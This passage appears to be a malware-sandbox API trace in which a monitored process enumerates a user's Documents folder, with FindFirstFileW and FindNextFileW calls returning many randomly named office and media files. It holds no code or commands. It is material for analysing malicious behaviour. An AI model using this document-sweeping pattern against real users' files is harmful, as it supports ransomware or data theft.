lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7804b600, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0x509aa070, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x509aa070, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0x6ede, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pdn3smOfWiyL_KFEcP0.mp4", cAlternateFileName="PDN3SM~1.MP4")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c742b0, ftCreationTime.dwHighDateTime=0x1d4ce6c, ftLastAccessTime.dwLowDateTime=0x6d20dac0, ftLastAccessTime.dwHighDateTime=0x1d4c739, ftLastWriteTime.dwLowDateTime=0x6d20dac0, ftLastWriteTime.dwHighDateTime=0x1d4c739, nFileSizeHigh=0x0, nFileSizeLow=0x133e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PoDqxcM TSaz.swf", cAlternateFileName="PODQXC~1.SWF")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x20d7360, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x20d7360, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qz91k6FGRf5u2kNaQ", cAlternateFileName="QZ91K6~1")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375e1650, ftCreationTime.dwHighDateTime=0x1d4d049, ftLastAccessTime.dwLowDateTime=0xb7861d60, ftLastAccessTime.dwHighDateTime=0x1d4cd73, ftLastWriteTime.dwLowDateTime=0xb7861d60, ftLastWriteTime.dwHighDateTime=0x1d4cd73, nFileSizeHigh=0x0, nFileSizeLow=0x417d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TeVS.mp4", cAlternateFileName="")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae857a60, ftCreationTime.dwHighDateTime=0x1d4d1c6, ftLastAccessTime.dwLowDateTime=0x4fec2c00, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0x4fec2c00, ftLastWriteTime.dwHighDateTime=0x1d4d51e, nFileSizeHigh=0x0, nFileSizeLow=0x147b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TyHbSH6VrF3xX.mp3", cAlternateFileName="TYHBSH~1.MP3")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bfeb70, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0x27145f90, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0x27145f90, ftLastWriteTime.dwHighDateTime=0x1d4c881, nFileSizeHigh=0x0, nFileSizeLow=0x16ce5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVeSXOWXfi_KaHM6.swf", cAlternateFileName="UVESXO~1.SWF")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dba0bd0, ftCreationTime.dwHighDateTime=0x1d4c661, ftLastAccessTime.dwLowDateTime=0x7ca3f460, ftLastAccessTime.dwHighDateTime=0x1d4c8e6, ftLastWriteTime.dwLowDateTime=0x7ca3f460, ftLastWriteTime.dwHighDateTime=0x1d4c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x5b25, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVgxMcsEjpWpZrN.jpg", cAlternateFileName="UVGXMC~1.JPG")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ff46a0, ftCreationTime.dwHighDateTime=0x1d4ccb6, ftLastAccessTime.dwLowDateTime=0xbd4de5f0, ftLastAccessTime.dwHighDateTime=0x1d4c5d2, ftLastWriteTime.dwLowDateTime=0xbd4de5f0, ftLastWriteTime.dwHighDateTime=0x1d4c5d2, nFileSizeHigh=0x0, nFileSizeLow=0x13f9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wjaMa6Mk-99x.gif", cAlternateFileName="WJAMA6~1.GIF")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15bee050, ftCreationTime.dwHighDateTime=0x1d4c81b, ftLastAccessTime.dwLowDateTime=0x66a414c0, ftLastAccessTime.dwHighDateTime=0x1d4d074, ftLastWriteTime.dwLowDateTime=0x66a414c0, ftLastWriteTime.dwHighDateTime=0x1d4d074, nFileSizeHigh=0x0, nFileSizeLow=0xd71a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xe1YhHNVlwT k.wav", cAlternateFileName="XE1YHH~1.WAV")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1868d30, ftCreationTime.dwHighDateTime=0x1d4c53b, ftLastAccessTime.dwLowDateTime=0x4431ac60, ftLastAccessTime.dwHighDateTime=0x1d4c6ea, ftLastWriteTime.dwLowDateTime=0x4431ac60, ftLastWriteTime.dwHighDateTime=0x1d4c6ea, nFileSizeHigh=0x0, nFileSizeLow=0x98fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xk2XWRW.flv", cAlternateFileName="")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x7985b590, ftLastWriteTime.dwHighDateTime=0x1d4c592, nFileSizeHigh=0x0, nFileSizeLow=0x71f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav", cAlternateFileName="")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x7985b590, ftLastWriteTime.dwHighDateTime=0x1d4c592, nFileSizeHigh=0x0, nFileSizeLow=0x71f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav", cAlternateFileName="")) returned 0 [0059.412] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.412] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.412] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.412] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.412] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.412] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.412] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.412] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.412] PathFindFileNameW (pszPath="") returned="" [0059.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa72b7d0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa72b7d0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.413] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa72b7d0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa72b7d0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa28680, ftCreationTime.dwHighDateTime=0x1d4c608, ftLastAccessTime.dwLowDateTime=0xd15c76d0, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0xd15c76d0, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x99fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 YiCSGLLTlIDeQ.doc", cAlternateFileName="2YICSG~1.DOC")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3c7940, ftCreationTime.dwHighDateTime=0x1d4d14e, ftLastAccessTime.dwLowDateTime=0xc3d66d90, ftLastAccessTime.dwHighDateTime=0x1d4c620, ftLastWriteTime.dwLowDateTime=0xc3d66d90, ftLastWriteTime.dwHighDateTime=0x1d4c620, nFileSizeHigh=0x0, nFileSizeLow=0x18192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3fgk.pps", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7919730, ftCreationTime.dwHighDateTime=0x1d4d7ef, ftLastAccessTime.dwLowDateTime=0xc9be4e60, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0xc9be4e60, ftLastWriteTime.dwHighDateTime=0x1d4c62c, nFileSizeHigh=0x0, nFileSizeLow=0x18773, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3kKQ7nGkbpOOq-1 5zRt.pptx", cAlternateFileName="3KKQ7N~1.PPT")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8738f0, ftCreationTime.dwHighDateTime=0x1d4d6ab, ftLastAccessTime.dwLowDateTime=0xfac408f0, ftLastAccessTime.dwHighDateTime=0x1d4b566, ftLastWriteTime.dwLowDateTime=0xfac408f0, ftLastWriteTime.dwHighDateTime=0x1d4b566, nFileSizeHigh=0x0, nFileSizeLow=0x172eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="45LEiyxnf Plrmb.docx", cAlternateFileName="45LEIY~1.DOC")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ca8cd0, ftCreationTime.dwHighDateTime=0x1d4b696, ftLastAccessTime.dwLowDateTime=0xc4b1de0, ftLastAccessTime.dwHighDateTime=0x1d53521, ftLastWriteTime.dwLowDateTime=0xc4b1de0, ftLastWriteTime.dwHighDateTime=0x1d53521, nFileSizeHigh=0x0, nFileSizeLow=0x168cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Jnu XQUnVKH6.xlsx", cAlternateFileName="5JNUXQ~1.XLS")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2233870, ftCreationTime.dwHighDateTime=0x1d4d364, ftLastAccessTime.dwLowDateTime=0xd5df3c70, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0xd5df3c70, ftLastWriteTime.dwHighDateTime=0x1d4cb56, nFileSizeHigh=0x0, nFileSizeLow=0x3603, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5W-053pafC.pps", cAlternateFileName="5W-053~1.PPS")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x426277c0, ftCreationTime.dwHighDateTime=0x1d4f0c5, ftLastAccessTime.dwLowDateTime=0x77add790, ftLastAccessTime.dwHighDateTime=0x1d51b21, ftLastWriteTime.dwLowDateTime=0x77add790, ftLastWriteTime.dwHighDateTime=0x1d51b21, nFileSizeHigh=0x0, nFileSizeLow=0xd080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AGokm2hLuNsPkZ.pptx", cAlternateFileName="AGOKM2~1.PPT")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa372c070, ftCreationTime.dwHighDateTime=0x1d4ca09, ftLastAccessTime.dwLowDateTime=0xd0d81740, ftLastAccessTime.dwHighDateTime=0x1d4d364, ftLastWriteTime.dwLowDateTime=0xd0d81740, ftLastWriteTime.dwHighDateTime=0x1d4d364, nFileSizeHigh=0x0, nFileSizeLow=0x1605c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BUziw_klSFTDwvC1Vm.pptx", cAlternateFileName="BUZIW_~1.PPT")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376fe090, ftCreationTime.dwHighDateTime=0x1d4c588, ftLastAccessTime.dwLowDateTime=0x3d125d40, ftLastAccessTime.dwHighDateTime=0x1d4fbf5, ftLastWriteTime.dwLowDateTime=0x3d125d40, ftLastWriteTime.dwHighDateTime=0x1d4fbf5, nFileSizeHigh=0x0, nFileSizeLow=0x177c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dtk7xvzoVk_gCAUAkb.xlsx", cAlternateFileName="DTK7XV~1.XLS")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c2b330, ftCreationTime.dwHighDateTime=0x1d4c014, ftLastAccessTime.dwLowDateTime=0xbc3d37e0, ftLastAccessTime.dwHighDateTime=0x1d5273b, ftLastWriteTime.dwLowDateTime=0xbc3d37e0, ftLastWriteTime.dwHighDateTime=0x1d5273b, nFileSizeHigh=0x0, nFileSizeLow=0x15d9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDFXHniYi.docx", cAlternateFileName="EDFXHN~1.DOC")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f27c5b0, ftCreationTime.dwHighDateTime=0x1d4ce9d, ftLastAccessTime.dwLowDateTime=0x914cbe20, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x914cbe20, ftLastWriteTime.dwHighDateTime=0x1d4d551, nFileSizeHigh=0x0, nFileSizeLow=0x10964, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EGkqtCRNREaQo4XfBL.ods", cAlternateFileName="EGKQTC~1.ODS")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d36b00, ftCreationTime.dwHighDateTime=0x1d4d283, ftLastAccessTime.dwLowDateTime=0x18736ac0, ftLastAccessTime.dwHighDateTime=0x1d4d318, ftLastWriteTime.dwLowDateTime=0x18736ac0, ftLastWriteTime.dwHighDateTime=0x1d4d318, nFileSizeHigh=0x0, nFileSizeLow=0xa730, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G-R5IPPjXNO2pufW-w.pptx", cAlternateFileName="G-R5IP~1.PPT")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78b5160, ftCreationTime.dwHighDateTime=0x1d4e787, ftLastAccessTime.dwLowDateTime=0x50da0080, ftLastAccessTime.dwHighDateTime=0x1d520a3, ftLastWriteTime.dwLowDateTime=0x50da0080, ftLastWriteTime.dwHighDateTime=0x1d520a3, nFileSizeHigh=0x0, nFileSizeLow=0x170c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k0bYHnrNfY0Z01.docx", cAlternateFileName="K0BYHN~1.DOC")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802ba5a0, ftCreationTime.dwHighDateTime=0x1d51734, ftLastAccessTime.dwLowDateTime=0x142ddd30, ftLastAccessTime.dwHighDateTime=0x1d4fedb, ftLastWriteTime.dwLowDateTime=0x142ddd30, ftLastWriteTime.dwHighDateTime=0x1d4fedb, nFileSizeHigh=0x0, nFileSizeLow=0xf9d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kbQLv1HzRjuGX8_0 ow.pptx", cAlternateFileName="KBQLV1~1.PPT")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4266ff0, ftCreationTime.dwHighDateTime=0x1d4c081, ftLastAccessTime.dwLowDateTime=0xb9ad4960, ftLastAccessTime.dwHighDateTime=0x1d4e01a, ftLastWriteTime.dwLowDateTime=0xb9ad4960, ftLastWriteTime.dwHighDateTime=0x1d4e01a, nFileSizeHigh=0x0, nFileSizeLow=0x562c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M0viuAr.pptx", cAlternateFileName="M0VIUA~1.PPT")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed365f00, ftCreationTime.dwHighDateTime=0x1d4ca68, ftLastAccessTime.dwLowDateTime=0xb22aced0, ftLastAccessTime.dwHighDateTime=0x1d4ce5c, ftLastWriteTime.dwLowDateTime=0xb22aced0, ftLastWriteTime.dwHighDateTime=0x1d4ce5c, nFileSizeHigh=0x0, nFileSizeLow=0x2574, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJD0Lk7dF2uj7fNWL.doc", cAlternateFileName="MJD0LK~1.DOC")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdeb90, ftCreationTime.dwHighDateTime=0x1d52d45, ftLastAccessTime.dwLowDateTime=0x51fc99f0, ftLastAccessTime.dwHighDateTime=0x1d50bdb, ftLastWriteTime.dwLowDateTime=0x51fc99f0, ftLastWriteTime.dwHighDateTime=0x1d50bdb, nFileSizeHigh=0x0, nFileSizeLow=0x12845, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpW-3B9.xlsx", cAlternateFileName="MPW-3B~1.XLS")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c9e9590, ftCreationTime.dwHighDateTime=0x1d52600, ftLastAccessTime.dwLowDateTime=0x618a1d10, ftLastAccessTime.dwHighDateTime=0x1d52eb4, ftLastWriteTime.dwLowDateTime=0x618a1d10, ftLastWriteTime.dwHighDateTime=0x1d52eb4, nFileSizeHigh=0x0, nFileSizeLow=0x13fed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NU9iOZGfDM.xlsx", cAlternateFileName="NU9IOZ~1.XLS")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24a4c40, ftCreationTime.dwHighDateTime=0x1d52b93, ftLastAccessTime.dwLowDateTime=0x2c400e40, ftLastAccessTime.dwHighDateTime=0x1d4e4c6, ftLastWriteTime.dwLowDateTime=0x2c400e40, ftLastWriteTime.dwHighDateTime=0x1d4e4c6, nFileSizeHigh=0x0, nFileSizeLow=0xc564, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ol37DpMB ADCzniH6.docx", cAlternateFileName="OL37DP~1.DOC")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5289530, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0x27b31200, ftLastAccessTime.dwHighDateTime=0x1d4cf4f, ftLastWriteTime.dwLowDateTime=0x27b31200, ftLastWriteTime.dwHighDateTime=0x1d4cf4f, nFileSizeHigh=0x0, nFileSizeLow=0x6155, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OlNTdQSKj.csv", cAlternateFileName="OLNTDQ~1.CSV")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a9ba60, ftCreationTime.dwHighDateTime=0x1d5212b, ftLastAccessTime.dwLowDateTime=0xc1bdc00, ftLastAccessTime.dwHighDateTime=0x1d4c58d, ftLastWriteTime.dwLowDateTime=0xc1bdc00, ftLastWriteTime.dwHighDateTime=0x1d4c58d, nFileSizeHigh=0x0, nFileSizeLow=0x3af6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rMkTON600uD2.docx", cAlternateFileName="RMKTON~1.DOC")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21e48a10, ftCreationTime.dwHighDateTime=0x1d4b56f, ftLastAccessTime.dwLowDateTime=0x3b6931a0, ftLastAccessTime.dwHighDateTime=0x1d4b49a, ftLastWriteTime.dwLowDateTime=0x3b6931a0, ftLastWriteTime.dwHighDateTime=0x1d4b49a, nFileSizeHigh=0x0, nFileSizeLow=0x1341, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="umnYAxK8Hd5gj.pptx", cAlternateFileName="UMNYAX~1.PPT")) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0410650, ftCreationTime.dwHighDateTime=0x1d4face, ftLastAccessTime.dwLowDateTime=0x5fdd3540, ftLastAccessTime.dwHighDateTime=0x1d528b2, ftLastWriteTime.dwLowDateTime=0x5fdd3540, 